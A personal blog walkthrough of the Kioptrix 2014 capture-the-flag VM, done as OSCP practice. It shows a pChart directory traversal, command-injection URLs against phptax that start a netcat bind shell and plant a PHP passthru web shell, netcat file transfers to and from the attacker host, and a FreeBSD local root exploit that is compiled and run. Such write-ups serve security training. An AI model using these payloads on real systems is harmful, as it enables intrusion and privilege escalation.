Kioptrix2014

I’m intending to start the OSCP course in the nearish future and wanting to give myself the best possible chance of success with it, I’m doing some more CTFs. I found this list of supposedly relevant CTFs: https://medium.com/@a.hilton83/oscp-training-vms-hosted-on-vulnhub-com-22fa061bf6a1

Top of the list is Kioptrix: 2014.

Enumeration

Booting up the VM you’re presented with a bare login page with no info to be gleaned. I’ve put the machine on a host-only network of 10.0.0.0/24 and I can see the IP it’s bound in the info on the boot screen. A basic nmap gives me:

root@kali2017-1:~# nmap -sV 10.0.0.3
Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-14 17:27 GMT
Nmap scan report for 10.0.0.3
Host is up (0.00063s latency).
Not shown: 997 filtered ports
PORT     STATE  SERVICE VERSION
22/tcp   closed ssh
80/tcp   open   http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
8080/tcp open   http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
MAC Address: 00:0C:29:2F:C6:2A (VMware)

Digging into nmap on the individual ports doesn’t reveal much more. So what do we know at this point?

• SSH is closed
• Webpages on ports 80 and 8080
• Apache 2.2.21
• FreeBSD version unknown
• OpenSSL 0.9.8q
• PHP 5.3.8

Let’s check out these webpages. Standard port 80 gives

and 8080:

Not much to go on here then. No forms, no sign of SQL in action.

dirb & verbs

Given the the “It works” text I’m thinking this looks like a site under development and maybe there are some directories or files lying around yet to be tidied up so I run dirb with it’s standard common wordlist and it comes up short – nothing of interest at all that I could find. I could try much longer lists and will do if I can’t find anything else. I also looked to see if the HTTP verbs are misconfigured to allow actions like PUT by using netcat and the OPTIONS method:

root@kali2017-1:~# nc 10.0.0.3 80
OPTIONS / HTTP/1.0
HTTP/1.1 200 OK
Date: Wed, 15 Nov 2017 10:32:30 GMT
Server: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8
Allow: GET,HEAD,POST,OPTIONS,TRACE
Content-Length: 0
Connection: close
Content-Type: text/html

Hidden PHP App

Not much of use there. So let’s look at the page source on these pages. The port 8080 page has nothing of use that I can see but the port 80 page shows:

A comment with a URL. I’m not familiar with the code there so I look it up and according to wikipedia “Meta refresh is a method of instructing a web browser to automatically refresh the current web page or frame after a given time interval”.  It’s been commented out here but it’s easy for us to just visit the url by appending the IP address we’re visiting and this pops up:

Now we’re getting somewhere. A php driven web app called pChart 2.1.3 to get stuck into. I doubt dirb was going to find that anytime soon.

Directory Traversal Vulnerability

There could be all sorts of attack angles here but let’s find out about this app first by googling it. The very first result in google is: https://www.exploit-db.com/exploits/31173/telling us:

Let’s try out /usr/local/etc/apache22/httpd.conf  – that would be https://10.0.0.3/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fusr/local/etc/apache22/httpd.conf – and it works!

The complete text is:

#
# This is the main Apache HTTP server configuration file.  It contains the
# configuration directives that give the server its instructions.
# See <URL:https://httpd.apache.org/docs/2.2> for detailed information.
# In particular, see 
# <URL:https://httpd.apache.org/docs/2.2/mod/directives.html>
# for a discussion of each configuration directive.
#
# Do NOT simply read the instructions in here without understanding
# what they do.  They're here only as hints or reminders.  If you are unsure
# consult the online docs. You have been warned.  
#
# Configuration and logfile names: If the filenames you specify for many
# of the server's control files begin with "/" (or "drive:/" for Win32), the
# server will use that explicit path.  If the filenames do *not* begin
# with "/", the value of ServerRoot is prepended -- so "/var/log/foo_log"
# with ServerRoot set to "/usr/local" will be interpreted by the
# server as "/usr/local//var/log/foo_log".
#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# Do not add a slash at the end of the directory path.  If you point
# ServerRoot at a non-local disk, be sure to point the LockFile directive
# at a local disk.  If you wish to share the same ServerRoot for multiple
# httpd daemons, you will need to change at least LockFile and PidFile.
#
ServerRoot "/usr/local"
#
# Listen: Allows you to bind Apache to specific IP addresses and/or
# ports, instead of the default. See also the <VirtualHost>
# directive.
#
# Change this to Listen on specific IP addresses as shown below to 
# prevent Apache from glomming onto all bound IP addresses.
#
#Listen 12.34.56.78:80
Listen 80
Listen 8080
#
# Dynamic Shared Object (DSO) Support
#
# To be able to use the functionality of a module which was built as a DSO you
# have to place corresponding `LoadModule' lines at this location so the
# directives contained in it are actually available _before_ they are used.
# Statically compiled modules (those listed by `httpd -l') do not need
# to be loaded here.
#
# Example:
# LoadModule foo_module modules/mod_foo.so
#
LoadModule authn_file_module libexec/apache22/mod_authn_file.so
LoadModule authn_dbm_module libexec/apache22/mod_authn_dbm.so
LoadModule authn_anon_module libexec/apache22/mod_authn_anon.so
LoadModule authn_default_module libexec/apache22/mod_authn_default.so
LoadModule authn_alias_module libexec/apache22/mod_authn_alias.so
LoadModule authz_host_module libexec/apache22/mod_authz_host.so
LoadModule authz_groupfile_module libexec/apache22/mod_authz_groupfile.so
LoadModule authz_user_module libexec/apache22/mod_authz_user.so
LoadModule authz_dbm_module libexec/apache22/mod_authz_dbm.so
LoadModule authz_owner_module libexec/apache22/mod_authz_owner.so
LoadModule authz_default_module libexec/apache22/mod_authz_default.so
LoadModule auth_basic_module libexec/apache22/mod_auth_basic.so
LoadModule auth_digest_module libexec/apache22/mod_auth_digest.so
LoadModule file_cache_module libexec/apache22/mod_file_cache.so
LoadModule cache_module libexec/apache22/mod_cache.so
LoadModule disk_cache_module libexec/apache22/mod_disk_cache.so
LoadModule dumpio_module libexec/apache22/mod_dumpio.so
LoadModule reqtimeout_module libexec/apache22/mod_reqtimeout.so
LoadModule include_module libexec/apache22/mod_include.so
LoadModule filter_module libexec/apache22/mod_filter.so
LoadModule charset_lite_module libexec/apache22/mod_charset_lite.so
LoadModule deflate_module libexec/apache22/mod_deflate.so
LoadModule log_config_module libexec/apache22/mod_log_config.so
LoadModule logio_module libexec/apache22/mod_logio.so
LoadModule env_module libexec/apache22/mod_env.so
LoadModule mime_magic_module libexec/apache22/mod_mime_magic.so
LoadModule cern_meta_module libexec/apache22/mod_cern_meta.so
LoadModule expires_module libexec/apache22/mod_expires.so
LoadModule headers_module libexec/apache22/mod_headers.so
LoadModule usertrack_module libexec/apache22/mod_usertrack.so
LoadModule unique_id_module libexec/apache22/mod_unique_id.so
LoadModule setenvif_module libexec/apache22/mod_setenvif.so
LoadModule version_module libexec/apache22/mod_version.so
LoadModule ssl_module libexec/apache22/mod_ssl.so
LoadModule mime_module libexec/apache22/mod_mime.so
LoadModule dav_module libexec/apache22/mod_dav.so
LoadModule status_module libexec/apache22/mod_status.so
LoadModule autoindex_module libexec/apache22/mod_autoindex.so
LoadModule asis_module libexec/apache22/mod_asis.so
LoadModule info_module libexec/apache22/mod_info.so
LoadModule cgi_module libexec/apache22/mod_cgi.so
LoadModule dav_fs_module libexec/apache22/mod_dav_fs.so
LoadModule vhost_alias_module libexec/apache22/mod_vhost_alias.so
LoadModule negotiation_module libexec/apache22/mod_negotiation.so
LoadModule dir_module libexec/apache22/mod_dir.so
LoadModule imagemap_module libexec/apache22/mod_imagemap.so
LoadModule actions_module libexec/apache22/mod_actions.so
LoadModule speling_module libexec/apache22/mod_speling.so
LoadModule userdir_module libexec/apache22/mod_userdir.so
LoadModule alias_module libexec/apache22/mod_alias.so
LoadModule rewrite_module libexec/apache22/mod_rewrite.so
LoadModule php5_module        libexec/apache22/libphp5.so
<IfModule !mpm_netware_module>
<IfModule !mpm_winnt_module>
#
# If you wish httpd to run as a different user or group, you must run
# httpd as root initially and it will switch.  
#
# User/Group: The name (or #number) of the user/group to run httpd as.
# It is usually good practice to create a dedicated user and group for
# running httpd, as with most system services.
#
User www
Group www
</IfModule>
</IfModule>
# 'Main' server configuration
#
# The directives in this section set up the values used by the 'main'
# server, which responds to any requests that aren't handled by a
# <VirtualHost> definition.  These values also provide defaults for
# any <VirtualHost> containers you may define later in the file.
#
# All of these directives may appear inside <VirtualHost> containers,
# in which case these default settings will be overridden for the
# virtual host being defined.
#
#
# ServerAdmin: Your address, where problems with the server should be
# e-mailed.  This address appears on some server-generated pages, such
# as error documents.  e.g. admin@your-domain.com
#
ServerAdmin you@example.com
#
# ServerName gives the name and port that the server uses to identify itself.
# This can often be determined automatically, but we recommend you specify
# it explicitly to prevent problems during startup.
#
# If your host doesn't have a registered DNS name, enter its IP address here.
#
#ServerName www.example.com:80
#
# DocumentRoot: The directory out of which you will serve your
# documents. By default, all requests are taken from this directory, but
# symbolic links and aliases may be used to point to other locations.
#
DocumentRoot "/usr/local/www/apache22/data"
#
# Each directory to which Apache has access can be configured with respect
# to which services and features are allowed and/or disabled in that
# directory (and its subdirectories). 
#
# First, we configure the "default" to be a very restrictive set of 
# features.  
#
<Directory />
    AllowOverride None
    Order deny,allow
    Deny from all
</Directory>
#
# Note that from this point forward you must specifically allow
# particular features to be enabled - so if something's not working as
# you might expect, make sure that you have specifically enabled it
# below.
#
#
# This should be changed to whatever you set DocumentRoot to.
#
<Directory "/usr/local/www/apache22/data">
    #
    # Possible values for the Options directive are "None", "All",
    # or any combination of:
    #   Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews
    #
    # Note that "MultiViews" must be named *explicitly* --- "Options All"
    # doesn't give it to you.
    #
    # The Options directive is both complicated and important.  Please see
    # https://httpd.apache.org/docs/2.2/mod/core.html#options
    # for more information.
    #
    Options Indexes FollowSymLinks
    #
    # AllowOverride controls what directives may be placed in .htaccess files.
    # It can be "All", "None", or any combination of the keywords:
    #   Options FileInfo AuthConfig Limit
    #
    AllowOverride None
    #
    # Controls who can get stuff from this server.
    #
    Order allow,deny
    Allow from all
</Directory>
#
# DirectoryIndex: sets the file that Apache will serve if a directory
# is requested.
#
<IfModule dir_module>
    DirectoryIndex index.php index.html
</IfModule>
#
# The following lines prevent .htaccess and .htpasswd files from being 
# viewed by Web clients. 
#
<FilesMatch "^\.ht">
    Order allow,deny
    Deny from all
    Satisfy All
</FilesMatch>
#
# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here.  If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog "/var/log/httpd-error.log"
#
# LogLevel: Control the number of messages logged to the error_log.
# Possible values include: debug, info, notice, warn, error, crit,
# alert, emerg.
#
LogLevel warn
<IfModule log_config_module>
    #
    # The following directives define some format nicknames for use with
    # a CustomLog directive (see below).
    #
    LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined
    LogFormat "%h %l %u %t \"%r\" %>s %b" common
    <IfModule logio_module>
      # You need to enable mod_logio.c to use %I and %O
      LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" %I %O" combinedio
    </IfModule>
    #
    # The location and format of the access logfile (Common Logfile Format).
    # If you do not define any access logfiles within a <VirtualHost>
    # container, they will be logged here.  Contrariwise, if you *do*
    # define per-<VirtualHost> access logfiles, transactions will be
    # logged therein and *not* in this file.
    #
    #CustomLog "/var/log/httpd-access.log" common
    #
    # If you prefer a logfile with access, agent, and referer information
    # (Combined Logfile Format) you can use the following directive.
    #
    CustomLog "/var/log/httpd-access.log" combined
</IfModule>
<IfModule alias_module>
    #
    # Redirect: Allows you to tell clients about documents that used to 
    # exist in your server's namespace, but do not anymore. The client 
    # will make a new request for the document at its new location.
    # Example:
    # Redirect permanent /foo https://www.example.com/bar
    #
    # Alias: Maps web paths into filesystem paths and is used to
    # access content that does not live under the DocumentRoot.
    # Example:
    # Alias /webpath /full/filesystem/path
    #
    # If you include a trailing / on /webpath then the server will
    # require it to be present in the URL.  You will also likely
    # need to provide a <Directory> section to allow access to
    # the filesystem path.
    #
    # ScriptAlias: This controls which directories contain server scripts. 
    # ScriptAliases are essentially the same as Aliases, except that
    # documents in the target directory are treated as applications and
    # run by the server when requested rather than as documents sent to the
    # client.  The same rules about trailing "/" apply to ScriptAlias
    # directives as to Alias.
    #
    ScriptAlias /cgi-bin/ "/usr/local/www/apache22/cgi-bin/"
</IfModule>
<IfModule cgid_module>
    #
    # ScriptSock: On threaded servers, designate the path to the UNIX
    # socket used to communicate with the CGI daemon of mod_cgid.
    #
    #Scriptsock /var/run/cgisock
</IfModule>
#
# "/usr/local/www/apache22/cgi-bin" should be changed to whatever your ScriptAliased
# CGI directory exists, if you have that configured.
#
<Directory "/usr/local/www/apache22/cgi-bin">
    AllowOverride None
    Options None
    Order allow,deny
    Allow from all
</Directory>
#
# DefaultType: the default MIME type the server will use for a document
# if it cannot otherwise determine one, such as from filename extensions.
# If your server contains mostly text or HTML documents, "text/plain" is
# a good value.  If most of your content is binary, such as applications
# or images, you may want to use "application/octet-stream" instead to
# keep browsers from trying to display binary files as though they are
# text.
#
DefaultType text/plain
<IfModule mime_module>
    #
    # TypesConfig points to the file containing the list of mappings from
    # filename extension to MIME-type.
    #
    TypesConfig etc/apache22/mime.types
    #
    # AddType allows you to add to or override the MIME configuration
    # file specified in TypesConfig for specific file types.
    #
    #AddType application/x-gzip .tgz
    #
    # AddEncoding allows you to have certain browsers uncompress
    # information on the fly. Note: Not all browsers support this.
    #
    #AddEncoding x-compress .Z
    #AddEncoding x-gzip .gz .tgz
    #
    # If the AddEncoding directives above are commented-out, then you
    # probably should define those extensions to indicate media types:
    #
    AddType application/x-compress .Z
    AddType application/x-gzip .gz .tgz
    #
    # AddHandler allows you to map certain file extensions to "handlers":
    # actions unrelated to filetype. These can be either built into the server
    # or added with the Action directive (see below)
    #
    # To use CGI scripts outside of ScriptAliased directories:
    # (You will also need to add "ExecCGI" to the "Options" directive.)
    #
    #AddHandler cgi-script .cgi
    # For type maps (negotiated resources):
    #AddHandler type-map var
    #
    # Filters allow you to process content before it is sent to the client.
    #
    # To parse .shtml files for server-side includes (SSI):
    # (You will also need to add "Includes" to the "Options" directive.)
    #
    #AddType text/html .shtml
    #AddOutputFilter INCLUDES .shtml
    AddType application/x-httpd-php .php
    AddType application/x-httpd-php-source .phps
</IfModule>
#
# The mod_mime_magic module allows the server to use various hints from the
# contents of the file itself to determine its type.  The MIMEMagicFile
# directive tells the module where the hint definitions are located.
#
#MIMEMagicFile etc/apache22/magic
#
# Customizable error responses come in three flavors:
# 1) plain text 2) local redirects 3) external redirects
#
# Some examples:
#ErrorDocument 500 "The server made a boo boo."
#ErrorDocument 404 /missing.html
#ErrorDocument 404 "/cgi-bin/missing_handler.pl"
#ErrorDocument 402 https://www.example.com/subscription_info.html
#
#
# MaxRanges: Maximum number of Ranges in a request before
# returning the entire resource, or 0 for unlimited
# Default setting is to accept 200 Ranges
#MaxRanges 0
#
# EnableMMAP and EnableSendfile: On systems that support it, 
# memory-mapping or the sendfile syscall is used to deliver
# files.  This usually improves server performance, but must
# be turned off when serving from networked-mounted 
# filesystems or if support for these functions is otherwise
# broken on your system.
#
#EnableMMAP off
#EnableSendfile off
# Supplemental configuration
#
# The configuration files in the etc/apache22/extra/ directory can be 
# included to add extra features or to modify the default configuration of 
# the server, or you may simply copy their contents here and change as 
# necessary.
# Server-pool management (MPM specific)
#Include etc/apache22/extra/httpd-mpm.conf
# Multi-language error messages
#Include etc/apache22/extra/httpd-multilang-errordoc.conf
# Fancy directory listings
#Include etc/apache22/extra/httpd-autoindex.conf
# Language settings
#Include etc/apache22/extra/httpd-languages.conf
# User home directories
#Include etc/apache22/extra/httpd-userdir.conf
# Real-time info on requests and configuration
#Include etc/apache22/extra/httpd-info.conf
# Virtual hosts
#Include etc/apache22/extra/httpd-vhosts.conf
# Local access to the Apache HTTP Server Manual
#Include etc/apache22/extra/httpd-manual.conf
# Distributed authoring and versioning (WebDAV)
#Include etc/apache22/extra/httpd-dav.conf
# Various default settings
#Include etc/apache22/extra/httpd-default.conf
# Secure (SSL/TLS) connections
#Include etc/apache22/extra/httpd-ssl.conf
#
# Note: The following must must be present to support
#       starting without SSL on platforms with no /dev/random equivalent
#       but a statically compiled-in mod_ssl.
#
<IfModule ssl_module>
SSLRandomSeed startup builtin
SSLRandomSeed connect builtin
</IfModule>
SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser
<VirtualHost *:8080>
    DocumentRoot /usr/local/www/apache22/data2
<Directory "/usr/local/www/apache22/data2">
    Options Indexes FollowSymLinks
    AllowOverride All
    Order allow,deny
    Allow from env=Mozilla4_browser
</Directory>

</VirtualHost>

Include etc/apache22/Includes/*.conf

I can also look at https://10.0.0.3/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fvar/log/httpd-error.log and https://10.0.0.3/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fvar/log/httpd-access.log

In order to find out what is blocking me I visit the 8080 site 5 times to make it easy to find the 5 recent errors in the log and I get:

[Wed Nov 15 06:34:08 2017] [error] [client 10.0.0.5] client denied by server configuration: /usr/local/www/apache22/data2/
[Wed Nov 15 06:34:11 2017] [error] [client 10.0.0.5] client denied by server configuration: /usr/local/www/apache22/data2/
[Wed Nov 15 06:34:13 2017] [error] [client 10.0.0.5] client denied by server configuration: /usr/local/www/apache22/data2/
[Wed Nov 15 06:34:15 2017] [error] [client 10.0.0.5] client denied by server configuration: /usr/local/www/apache22/data2/
[Wed Nov 15 06:34:17 2017] [error] [client 10.0.0.5] client denied by server configuration: /usr/local/www/apache22/data2/

I think that means that it’s a setting in httpd.conf file is likely to be blocking me. This page suggests it is: https://wiki.apache.org/httpd/ClientDeniedByServerConfiguration

I need to understand what these Apache config settings mean so google around:

AllowOverride None – “used to allow the use of .htaccess within the web server to allow overriding of the Apache config on a per directory basis. … That’s why it only works when you have AllowOverride All because you are telling the webserver to allow the use of an .htaccess file” This seems like a key setting. Searching our file, it’s set to None in all but one place. None meaning htaccess cannot override the per directory settings. .htaccess uses the same syntax and operates on the directory it’s in.

Order allow,deny – “You can see the Order directive used in two ways: Order allow,deny and Order deny,allow

Order allow,deny tells your web server that the Allow rules are processed before the Deny rules. If the client does not match the Allow rule or it does match the Deny rule, then the client will be denied access.

Order deny, allow means that the deny rules are processed before the allow rules. If the client does not match the deny rule or it does match the allow rule, then it will be granted access.”

So taking the first instance of this in the conf file:

<Directory />
AllowOverride None
Order deny,allow
Deny from all
</Directory>

That is setting the root web directory to not allow htaccess override and set denies and then allows, and then deny from all. So by default, no access. After that there are some allows for specific things.

We’re most interested in being allowed into whatever might on the site at port 8080. This codehere is the only thing that looks relevant to me:

SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser
<VirtualHost *:8080>
    DocumentRoot /usr/local/www/apache22/data2
<Directory "/usr/local/www/apache22/data2">
    Options Indexes FollowSymLinks
    AllowOverride All
    Order allow,deny
    Allow from env=Mozilla4_browser
</Directory>

SetEnvIf is a command to set an environmental variable, in this case the variable User-Agent being set to Mozilla/4.0 and giving it the name “Mozilla4_browser”

The VirtualHost sets up the documents location for serving from port 8080

The next section is saying to only allow access to the main web directory for the env var set earlier, that being the User-Agent Mozilla/4.0. In other words, if we want to see what’s in that directory (ie. what the site is serving up) then we’ll need to be using that specific User-Agent.

Another hidden PHP Application

This page tells you how to set a custom user agent in Firefox: https://www.howtogeek.com/113439/how-to-change-your-browsers-user-agent-without-installing-any-extensions/

Bingo, a link, which goes a rather busy-looking php application:

Initially I’m thinking this is a very ornate application for a vulnhub VM creator to have made up and start poking about see if I can find SQLi points etc. Then I realise it really is too much work for a deliberately vulnerable php app, realise it’s an app that’s in wider use and google it for vulnerabilities. It has a major one for which there are several exploits written including a metasploit module: https://www.exploit-db.com/exploits/21833/

I won’t bore you with the details since, like many metaploit exploits, it’s simply matter of selecting it, filling in a couple of options and running it. I tried it and it works just fine. However I understand that in the OSCP exam, you only get one go with metasploit I need to get beyond looking up exploits and pointing metesploit at them. A manual form of the exploit is shown here: https://www.exploit-db.com/exploits/21665/ 

The application is prone to a remote code execution vulnerability.
 
----------------------------------------------------
 
drawimage.php, line 63:
 
include ("./files/$_GET[pfilez]");
 
// makes a png image
$pfilef=str_replace(".tob",".png",$_GET[pfilez]);
$pfilep=str_replace(".tob",".pdf",$_GET[pfilez]);
Header("Content-type: image/png");
if ($_GET[pdf] == "") Imagepng($image);
if ($_GET[pdf] == "make") Imagepng($image,"./data/pdf/$pfilef");
if ($_GET[pdf] == "make") exec("convert ./data/pdf/$pfilef ./data/pdf/$pfilep");
 
----------------------------------------------------
 
Exploit / Proof of Concept:
 
Bindshell on port 23235 using netcat:
 
https://localhost/phptax/drawimage.php?pfilez=xxx;%20nc%20-l%20-v%20-p%2023235%20-e%20/bin/bash;&pdf=make
 
** Exploit-DB Verified:**
https://localhost/phptax/index.php?pfilez=1040d1-pg2.tob;nc%20-l%20-v%20-p%2023235%20-e%20/bin/bash;&pdf=make

I don’t yet know enough PHP to entirely understand what is going on but I do know what Remote Code Execution is and so I’m looking at running shell commands on the server through the URL. Clearly the php code is taking an argument from the URL (GET). The last line with the %20’s decoded to spaces reads:

https://localhost/phptax/index.php?pfilez=1040d1-pg2.tob;nc -l -v -p 23235 -e /bin/bash;&pdf=make

The code up to the first ; is the normal URL you see when using the app. The part after the second ; corresponds to the php code in the app. The code in between the ; characters is a standard netcat command to set up a reverse shell on port 23235 that executes bash shell commands. I tried this with the URL altered to fit my IP and port number etc, and it doesn’t work for some reason. but at least I understand a bit more about what’s going on. I try a simple test of putting the linux command ls  between the ;’s but it doesn’t work as no output is being created so instead I put ls>ls.php which runs the ls command but outputs to a file call ls.php (in the code below the > symbol has been encoded to %3E).

https://10.0.0.3:8080/phptax/index.php?pfilez=1040d1-pg2.tob;ls%3Els.php;&pdf=make

and then try to access the file I just created: https://10.0.0.3:8080/ls.php and get:

It works. NB I’m viewing the page as page source as I’ve done a similar thing before so I happen to know it produces a more shell-like list which is easier to read. You can see some other files there which I was mucking around with before I got around to writing this up.

So I can run arbitrary shell commands. That’s great but  that’s not got me actual access yet. I guess I could try creating a new user with a password and then logging in but I can only do that because I’ve got access to the VM. In a real-work situation, where the box is remote, I couldn’t. So I won’t. What I need is a shell. I think I have a couple of options – solve the netcat riddle and set up a simple reverse shell with that, or get a simple php shell and have the exploit create php file on the server with the shell in it.

I’m struggling to work out why the netcat commands don’t work.  I’m thinking likely reasons include: it doesn’t even have nc installed, it requires the whole path to the nc command, it doesn’t accept nc -e or that there is no access bin/bash or it simply isn’t there.

Is there an echo in here?

A common method to get a simple PHP shell onto the server, when you have a shell RCE situation is to use the echo command to echo some php code and > it to a php file. However after trying this for quite some time, I simply could not get it to work. I can echo simple text and create files but even the simplest one-liner php shell doesn’t work. I guess it’s something to do with encoding it and I tried every which way I could but never got it working. Since completing this I’ve looked at some walkthroughs and other people seem to have got this working but even with their code, mine doesn’t.

A bit of research and I found this: https://www.exploit-db.com/exploits/25849/

with the line (altered for my address) https://10.0.0.3:8080/phptax/index.php?field=rce.php&newvalue=%3C%3Fphp%20passthru%28%24_GET[cmd]%29%3B%3F%3E which decoded is:

https://10.0.0.3:8080/phptax/index.php?field=rce.php&newvalue=<?php passthru($_GET[cmd]);?>

This creates a file called rce.php with the one-line shell: <?php passthru($_GET[cmd]);?> which uses the passthru function to pass parameters from the URL

Then visiting: view-source:https://10.0.0.3:8080/phptax/data/rce.php?cmd=ls    (I gleaned this from the line {$url}/data/rce.php?cmd=id\n”;)

it executes the commands passed to it. Now to try to transfer a remote shell.

On my kali box I set up an nc listener in my shells folder in which I’ve got a php reverse shell from Pentest Monkey called PTMshell.php and have it inputting that file

root@kali2017-1:~/Shells# nc -lvp 1234 < PTMshell.php
listening on [any] 1234 ...

Now I need to set up the other end of netcat to connect to that port on my Kali box and output the file. In the browser:

https://10.0.0.3:8080/phptax/data/rce.php?cmd=nc%2010.0.0.2%201234%3E%20PTM.php

I can easily list the folder and see the file is there, set up a standard nc listener on kali visit the PTM.php file at:

https://10.0.0.3:8080/phptax/data/PTM.php

And the reverse shell is set up and working.

oot@kali2017-1:~/Shells# nc -lvp 1234
listening on [any] 1234 ...
10.0.0.3: inverse host lookup failed: Unknown host
connect to [10.0.0.2] from (UNKNOWN) [10.0.0.3] 20955
FreeBSD kioptrix2014 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan  3 07:46:30 UTC 2012     root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  amd64
 6:20AM  up  5:13, 0 users, load averages: 0.13, 0.03, 0.01
USER       TTY      FROM                      LOGIN@  IDLE WHAT
uid=80(www) gid=80(www) groups=80(www)
sh: can't access tty; job control turned off
$ ls
COPYRIGHT
bin
boot
dev
entropy
etc
home
lib
libexec
media
mnt
proc
rescue
root
sbin
sys
tmp
usr
var

Poking around it’s clear root has the file we need but we can’t access it due to limited permissions. The aim of the game is to get root privileges.  We also now know the OS is FreeBSD 9.0 there is an exploit available for that: https://www.exploit-db.com/exploits/28718/

They don’t give much info about it as usual but it’s clear it’s some C code so the plan is to get that onto the machine, compile it and run it.

I’ll try the same netcat method as before and it should be easier given I can do it in a shell rather than a URL. Moving to the tmp directory I test creating a file to be sure this is a good place to download the code. It is.

I’ve downloaded the exploit code on my Kali box, into a file I’ve called “r00ter.c” and then set up the listener on the Kali box, waiting to push the file over.

root@kali2017-1:~# nc -lvp 7777 < r00ter.c
listening on [any] 7777 ...

Now on the target machine set netcat to output to a file, check progress with ls, and there is the file in the directory listing:

$ nc 10.0.0.2 7777 > r00ter.c
$ ls
apr8K1MCR
aprMxgokv
aprg9itkH
aprhkk1H0
aprtxqSFl
mysql.sock
r00ter.c
test_directory
vmware-fonts0

A quick cat of the file to make sure it’s arrived intact and then onto compiling it with gcc, to produce an executable called “r00ter”. Run it and check my privilege man.

$ gcc r00ter.c -o r00ter
r00ter.c:178:2: warning: no newline at end of file
$ ls
apr8K1MCR
aprMxgokv
aprg9itkH
aprhkk1H0
aprtxqSFl
exploit.c
mysql.sock
r00ter
r00ter.c
test_directory
vmware-fonts0
$ ./r00ter
[+] SYSRET FUCKUP!!
[+] Start Engine...
[+] Crotz...
[+] Crotz...
[+] Crotz...
[+] Woohoo!!!
$ whoami
root
$ 

Check out the flag file:

$ cd root
$ ls
.cshrc
.history
.k5login
.login
.mysql_history
.profile
congrats.txt
folderMonitor.log
httpd-access.log
lazyClearLog.sh
monitor.py
ossec-alerts.log
$ cat congrats.txt
If you are reading this, it means you got root (or cheated).
Congratulations either way...
Hope you enjoyed this new VM of mine. As always, they are made for the beginner in 
mind, and not meant for the seasoned pentester. However this does not mean one 
can't enjoy them.

I found that quite challenging. Working out there was something worth looking at behind port 8080 but that you needed the right user-agent took to see it took ages and is slightly annoying really since I can’t really see that being common in real life but what would I know? Maybe it is. Trying to get the echo > file working was frustrating and I never did but I’m certain it does work as other walkthroughs use it. Something about my syntax stopped it.

Any suggestions, particularly with the echo part would be nice if you’re reading this and know better.